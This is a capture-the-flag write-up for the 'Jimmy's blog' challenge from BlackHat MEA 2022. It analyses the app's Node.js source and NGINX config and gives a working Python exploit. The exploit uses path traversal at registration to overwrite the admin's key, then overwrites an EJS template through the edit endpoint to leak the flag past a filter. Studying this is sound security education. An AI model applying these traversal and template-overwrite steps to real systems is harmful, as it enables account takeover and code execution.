> For the complete documentation index, see [llms.txt](https://blog.diefunction.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.diefunction.io/ctf/blackhatmea-quals-2022/jimmys-blog.md).

# Jimmy's blog

## Difficulty

Hard

## Points

400

## Description

The technology is always evolving, so why do we still stick with password-based authentication? That makes no sense! That’s why I designed my own password-less login system. I even open-sourced it for everyone interested, how nice of me!

## Quick Analysis

From the attached source code.

### Content of index.js

```javascript
...
const utils = require("./utils");
...
app.get("/article", (req, res) => {
    const id = parseInt(req.query.id).toString();
    const article_path = path.join("articles", id);
    try {
        const contents = fs.readFileSync(article_path).toString().split("\n\n");
        const article = {
            id: article_path,
            date: contents[0],
            title: contents[1],
            summary: contents[2],
            content: contents[3]
        }
        res.render("article", { article: article, session: req.session, flag: process.env.FLAG });
    } catch {
        res.sendStatus(404);
    }
})
...
app.post("/register", (req, res) => {
    const username = req.body.username;
    const result = utils.register(username);
    if (result.success) res.download(result.data, username + ".key");
    else res.render("register", { error: result.data, session: req.session });
})

app.post("/login", upload.single('key'), (req, res) => {
    const username = req.body.username;
    const key = req.file;
    const result = utils.login(username, key.buffer);
    if (result.success) { 
        req.session.username = result.data.username;
        req.session.admin = result.data.admin;
        res.redirect("/");
    }
    else res.render("login", { error: result.data, session: req.session });
})

app.get("/logout", (req, res) => {
    req.session.destroy();
    res.redirect("/");
})

app.get("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    const id = parseInt(req.query.id).toString();
    const article_path = path.join("articles", id);
    try {
        const article = fs.readFileSync(article_path).toString();
        res.render("edit", { article: article, session: req.session, flag: process.env.FLAG });
    } catch {
        res.sendStatus(404);
    }
})

app.post("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    try {
        fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));
        res.redirect("/");
    } catch {
        res.sendStatus(404);
    }
})
```

### Content of article.ejs

```html
<!doctype html>
<html>
    <%- include('head.ejs') %>
    <body class="text-dark bg-light">
        <%- include('navbar.ejs') %>
        <div class="container my-5 px-5">
            <div class="card mb-4">
              <div class="card-header">
                <%= article.date %>
              </div>
              <div class="card-body">
                <h5 class="card-title"><%= article.title %></h5>
                <p class="card-text">
                  <%= article.summary %>
                  <hr class="mb-0">
                  <div class="pre-line">
                    <%= article.content %>
                  </div>
                </p>
              </div>
              <div class="card-footer text-muted">
                Generated by AI
              </div>
            </div>
        </div>
        <%- include('scripts.ejs') %>
    </body>
</html>
```

### Content of edit.ejs

```html
<!doctype html>
<html>
    <%- include('head.ejs') %>
    <body class="text-dark bg-light">
        <%- include('navbar.ejs') %>
        <div class="container my-5 px-5">
          <h3 class="text-center">Welcome jimmy_jammy, your flag is</h3>
          <p class="mb-5 text-center"><%= flag %></p>
          <h3>Meanwhile, please feel free to edit your article</h3>
          <form method="POST">
            <textarea class="form-control mb-3" rows="15" name="article"><%= article %></textarea>
            <button type="submit" class="btn btn-dark w-100">Save Changes</button>
          </form>
        </div>
        <%- include('scripts.ejs') %>
    </body>
</html>
```

### Content of utils.js

```javascript
const sqlite = require("better-sqlite3");
const path = require("path");
const crypto = require("crypto")
const fs = require("fs");

const db = new sqlite(":memory:");

db.exec(`
    DROP TABLE IF EXISTS users;

    CREATE TABLE IF NOT EXISTS users (
        id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
        username   VARCHAR(255) NOT NULL UNIQUE,
        admin      INTEGER NOT NULL
    )
`);

register("jimmy_jammy", 1);

function register(username, admin = 0) {
    try {
        db.prepare("INSERT INTO users (username, admin) VALUES (?, ?)").run(username, admin);
    } catch {
        return { success: false, data: "Username already taken" }
    }
    const key_path = path.join(__dirname, "keys", username + ".key");
    const contents = crypto.randomBytes(1024);
    fs.writeFileSync(key_path, contents);
    return { success: true, data: key_path };
}

function login(username, key) {
    const user = db.prepare("SELECT * FROM users WHERE username = ?").get(username);
    if (!user) return { success: false, data: "User does not exist" };

    if (key.length !== 1024) return { success: false, data: "Invalid access key" };
    const key_path = path.join(__dirname, "keys", username + ".key");
    if (key.compare(fs.readFileSync(key_path)) !== 0) return { success: false, data: "Wrong access key" };
    return { success: true, data: user };
}

module.exports = { register, login };
```

### NGINX configuration

```nginx
server {
        listen 80 default_server;
        listen [::]:80 default_server;

        server_name _;

        location / {
			# Replace the flag so nobody steals it!
            sub_filter 'placeholder_for_flag' 'oof, that was close, glad i was here to save the day';
            sub_filter_once off;
            proxy_pass http://localhost:3000;
        }
}
```

### Analyzing `index.js`

* The `index.js` requires `util.js` file.
* The endpoint `/register` requires a username only and returns a key for authentication.
* The endpoint `/login` requires a username and a `key` file.
* The flag passed to `article.ejs` view `res.render("article", { article: article, session: req.session, flag: process.env.FLAG });`.
* The flag is not rendered via `/article` endpoint based on the content of the `article.ejs`.
* The flag passed to `edit.js` view `res.render("edit", { article: article, session: req.session, flag: process.env.FLAG });`.
* The flag is rendered via `GET` `/edit?id=<INTEGER>` endpoint based on the content of the `edit.ejs`: `<p class="mb-5 text-center"><%= flag %></p>`
* The endpoint `/edit` requires an admin session `if (!req.session.admin) return res.sendStatus(401);` for both methods `GET` and `POST`.
* The `POST` endpoint `/edit?id=<string>` is vulnerable, where you could path traverse via the `id` parameter `./articles/<id>` and write content to the traversal path via the article `POST` parameter. `fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));`

### Analyzing `utils.js`

* the utils file registered an administrator user with `jimmy_jammy` as a username and a random key with 1024 bytes `register("jimmy_jammy", 1);`.
* the register function is vulnerable to account takeover, where you could traversal and overwrite an existing user's key.

### Analyzing NGINX configuration [\[1\]](http://nginx.org/en/docs/http/ngx_http_sub_module.html#sub_filter)

* the flag is replaced with `oof, that was close, glad i was here to save the day` via NGINX `sub_filter`.\
  The ngx\_http\_sub\_module module is a filter that modifies a response by replacing one specified string by another.\
  This module is not built by default, it should be enabled with the --with-http\_sub\_module configuration parameter.

## Exploitation

* Register `./jimmy_jammy` to overwrite the actual `jimmy_jammy` key.
* Login with `jimmy_jammy` and use the key that we obtained via the registration function.
* Edit the `edit.js` view to `<%= btoa(flag) %>` which encodes the flag to base64 via `POST` `/edit?id=../views/edit.js` `article=<%25%3d+btoa(flag)+%25>` to bypass the NGINX sub\_filter.

```python
from requests import get, post, Session
session = Session()

url = 'https://blackhat4-48f58fefc9582c2fac90f05e4182f191-0.chals.bh.ctf.sa'

username = 'jimmy_jammy'
# register
endpoint = '/register'
data = { 'username': f'./{username}' }
key = post(url + endpoint, data = data).content
files = { 'key': (f'{username}.key', key, 'application/vnd.apple.keynote') }

# login
endpoint = '/login'
data = { 'username': username }
session.post(url + endpoint, files = files, data = data)

# overwrite the edit.ejs view
endpoint = '/edit'
params = { 'id': '../views/edit.ejs' }
data = { 'article': '<%= btoa(flag) %>' }
session.post(url + endpoint, data = data, params = params)

# get the flag
endpoint = '/edit'
params = { 'id': '1' }
flag = session.get(url + endpoint, params = params).text
```

## The flag

Navigate to the endpoint `/edit?id=1` to get the base64 flag

```python
from base64 import b64decode

b64decode(flag).decode()
```

```
'BlackHatMEA{551:16:74149ec3a111aa888acdca0eff649540e96c3f1b}'
```

## References

* <http://nginx.org/en/docs/http/ngx\\_http\\_sub\\_module.html#sub\\_filter>
